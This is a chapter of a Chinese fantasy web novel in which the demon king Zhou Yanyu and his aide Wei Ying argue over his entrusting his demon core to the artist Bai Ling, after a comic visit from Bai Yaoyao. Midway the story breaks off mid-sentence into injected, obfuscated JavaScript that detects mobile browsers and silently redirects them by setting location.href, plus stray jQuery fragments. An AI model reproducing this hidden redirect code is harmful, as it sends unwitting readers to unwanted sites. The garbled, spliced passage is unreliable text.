周延玉离开的这几日,卫影一直在焦灼中等待。
百灵前脚才走没多久,周延玉就准备在背后偷偷跟踪,想暗中保护她。
在卫影极力阻止下,他才没有冲动行事。
可他最后还是偷溜出去了,只留给卫影一句“我自有分寸”。
卫影心中暗怨,却又无可奈何。
君上近来行事愈发感情用事,竟将探查叶知舟的正事搁置一旁,反倒对一个画皮师如此上心。
而是他本想代替君上前去察看她们的情况,周延玉放心不下,还是自己去了。
更令他感到奇怪的是,周延玉按理说去了离他很远的地方,自己应该很难感受到他的存在。
可那股来自周延玉的强大力量,却始终伴随左右。
等他回来一定要问个清楚。
“有人在吗?”
门外忽然传来女子的声音。
听起来似乎有点耳熟,但想不起是谁了。
卫影走到门口,并未着急开门,而是确认道:“你是哪位?”
“白夭夭,我找百灵。”
白夭夭,他想起来了,是上次宴会上那个说话夹枪带棒的姑娘。
看起来她似乎很讨厌叶知舟,应该不会是他派来的人。
分析完白夭夭的身份,他放心开了门。
“百灵不在,她出去了。”
“出去了?那你知道她什么时候回来吗?”
“她出远门了,具体什么时候回来我也不知道。”卫影诚实道。
“那好吧……”白夭夭沮丧道。
“你找她有什么事吗?我可以帮你传话。”卫影好心帮忙。
“真的吗?那太好了。”白夭夭又打起精神,“你就帮我问问她,上次明明说好了要回来找我,怎么说话不算话呀?”
她说的是那次宴会结束,百灵搀扶着周延玉时给她的留言。
她本来听信了宋清河的话,没坐多久就离开了,可是后思来想去觉得百灵不会是那样的人,因此又折返回来,但还是不见人影。
所以她想来确认一下,到底是百灵真的没有来,还是说她们刚好错过了。
“好的,我会把话带到。”
“多谢你了。”白夭夭扬唇笑道,“对了,我没记错的话,你是宋清河的学徒吧?”
“……是的。”
“那我可不可以再麻烦你一件事?”白夭夭抬起双手,摆出一个祈求的姿势,“我让你传的话,你可千万别告诉她。”
“嗯,我知道的。”
就算白夭夭没有提醒,卫影也不会主动和送清河提起。
“你真是个大好人。”白夭夭感激不尽,“比百灵的学徒强多了。”
“……”卫影一愣,没想到白夭夭竟把他和周延玉放在一起作比较。
从前在妖界,周延玉事事都要强他一头,他既崇拜他,同时也在他的阴影底下生活了很久。
“我吗?没有吧。”他还是不敢相信白夭夭的话。
“对啊,就是你,我白夭夭可从来不说谎。”见他腼腆模样,白夭夭立刻鼓励道,“你真的比那个什么小骨强多了。”
她不仅又夸一遍,还举出了例子,“你看看你上次多么贴心啊,一会儿是给宋清河剥蟹的,一会儿是劝酒的,做得可太周到了。”
“那些都是……分内之事。”卫影不好意思道。
“能把分内之事做好已经很厉害了,不像某些人,拎不清自己的身份。”
卫影已经没有心思去想她这话中的某些人到底是谁,只沉浸在白夭夭有声有色的表扬中。
“你都做得这么好了,他们还不领情,我看啊,你就应该另寻新主。”白夭夭心底仗义的一面被彻底激发,说个没完。
“这……这怎么行呢?身为下属,就应该忠心耿耿。”卫影连忙摇头否认。
“忠心耿耿是没错,那也得看效忠的那个人值不值得呀。”
两人之间的对话已经彻底错位,白夭夭心中想的是宋清河,而卫影想到的则是周延玉。
“这我得好好想想……”卫影若有所思。
“自信大胆点,这有什么的!”白夭夭继续拱火,“你可是冷面郎君啊,给他们点颜色瞧瞧!”
“……冷什么?”卫影被这突兀的称号惊得语塞。
“冷面郎君呀!你还不知道吗?”白夭夭眉眼弯弯,“上次游街,不知多少姑娘为你丢了魂,这称号都快传遍啦!”
“丢了魂?为我?”卫影再次讶然。
“对啊,他们不喜欢你干嘛跟给你丢花呀,你以为她们闲着无聊没事干呢。”白夭夭也惊讶于眼前人的单纯。
“你知道吗?像你这种面冷心热的好人,可是很难得的,扔到大街上多少姑娘抢着想和你结冥婚呢!”
“……”
白夭夭的话语一句比一句惊人,卫影僵在原地,只觉得脸上都有些发烫。他憋了半晌,才终于挤出一句:
“多……多谢告知,白姑娘。”
……
当晚,百灵一行三人拖着疲惫的身躯归来。
见百灵手臂受伤难以自愈,宋清河便主动接手,带她回房修复。
周延玉目光沉沉地看着二人离去,终究没说什么,独自转身回房。
他前脚刚踏入房门,卫影后脚便跟了进来。
他只看见周延玉一人,便问道:“她们二人呢?可还好?”
想起这一路的起伏,末了周延玉只化作淡淡一句:“还好。”
“那就好。”卫影松了口气,随即提起心中疑虑,“最近有个奇怪的事,你们明明去了那么远的地方,可我总能感觉到你的气息。”
“因为我的妖丹留在了这里。”周延玉云淡风轻道。
“什么?这么重要的事我怎么不知道?你怎么也没提前交代我给你保管好。”
卫影实在没想到,周延玉胆子这么大,这里可是叶知舟的地盘。
“……因为我交给了百灵。”犹豫片刻,周延玉还是说出了实情。
“什么?你……”是疯了吗?
理智让卫影并没有说出这句完整的话。
但气愤仍在他胸口徘徊。
他可是妖王啊!那可是妖王的命根子呀……
他再怎么样,不为了自己想想,也该为了妖界想想呀。
怎么能如此轻而易举把自己的妖丹交给一个手无缚鸡之力的鬼呢?
“我把妖丹交给她,一是为了试探,更是为了自保。”
周延玉终于开口为自己辩解:“试探她是否可信,能否护好我的妖丹。”
“可是万一她没有保护好或者是弄丢了,可没有重来一次的机会。”卫影并不认可这个理由。
“别着急,你听我说完。”周延玉轻拍卫影的肩膀安抚,接着补充道,“上次冥婚时,我趁乱回溯了其中的人,发现我在妖界被通缉了”
卫影沉默了。
他知道通缉不过是编排好的一出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099972|189398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戏,只是他不能透露给周延玉。
“你怎么会被通缉呢?是不是搞错了?”卫影故作不解。
“不会有错,绝对就是我。”周延玉很笃定。
“可你是……”卫影欲言又止,“谁有这个权利能通缉你呢?”
“这还用想吗?”周延玉冷笑一声,“有人已经篡位了,就等着我死掉,然后名正言顺坐上我的位置。”
“这怎么会呢?谁有这个胆子?”
“有这个胆子的人多了去了。”周延玉苦笑一声,“自我上位以来,那些虎视眈眈的人可都看着呢。”
“我虽然战胜了我的父亲母亲,证明了自己,可我终究太年轻,他们是不会心甘情愿臣服于我的。”
他说的这些,卫影也心知肚明。
所以他一直坚定不移地站在他的身边,也是为了帮助他守好这个并不牢靠的王位。
“我猜想那个通缉令,是他们故意设计让我看见的,目的就是为了阻止我返回妖界,然后在冥界神不知鬼不觉解决掉我。”
“那也不能随便把妖丹交给一个画皮师啊。”卫影承认他说的有道理,但依旧不赞同这个做法。
“敌人在明,我在暗,这是没得办法的办法。”周延玉无奈道,“有时最危险的地方,往往是最安全的地方。”
“我是她的学徒,和她几乎形影不离,虽然敌人能感受到我的气息,但他并不知道,气息的来源不是我,是她。”
卫影点点头,他彻底听明白了,周延玉是想通过声东击西的方式来混淆视听。
可是他也一直在身边,妖丹明明也可以放在他那儿。
“延玉为了履行你母父的承诺,我可以理解,可他也许过于谨慎了。”
周玄玉的话浮上心头。
还是老样子,打着保护他的名号,把他拒之门外。
“正好,我也有一件事想问问你。”周延玉反客为主。
“你说。”
“冥婚那一日,你真的没有见过什么可疑的人吗?”周延玉紧紧盯着卫影,等待他的反应。
卫影先是一怔,随即反问道:“你是不信我吗?”
周延玉身形微僵。记忆中,卫影几乎从不曾用这样的语气回应他。
“怎么会呢?”周延玉笑容有些苦涩,“连你都不信的话,我还有什么可信的人呢?”
他说这话不是在打苦情牌,而是发自内心的觉得。
自从他战胜了母亲父亲后,那些曾经他信任且熟知的长辈们,几乎都跟着母亲父亲离开了。
这就是成为妖王必经的孤独之路,每一代王都是这么过来的,被自己的后代所打败,然后离开,再也不会回头。
“信我的话,同样的事就不要问第二遍了。”卫影侧过身,语气疏离。
他本来因为隐瞒对周延玉有些愧疚,可是转念一想,他隐瞒自己的事还少吗?
他不过就这一次而已。
“……好,我明白了。”周延玉艰难点了点头,“如果你还有什么想说的,随时可以来找我。”
“还是少见为妙。”卫影背对着他,声音冷硬,“有什么事让把百灵传话就行。”
既然他更信重百灵,那便如他所愿。
“好,依你。”周延玉无奈妥协道。
他曾经是说过让百灵代为传话,可是如今他的身份也暴露了,也就不需要百灵夹在中间。
他想再说点什么,但看着卫影的背影,只能将未竟之言吞入喉间。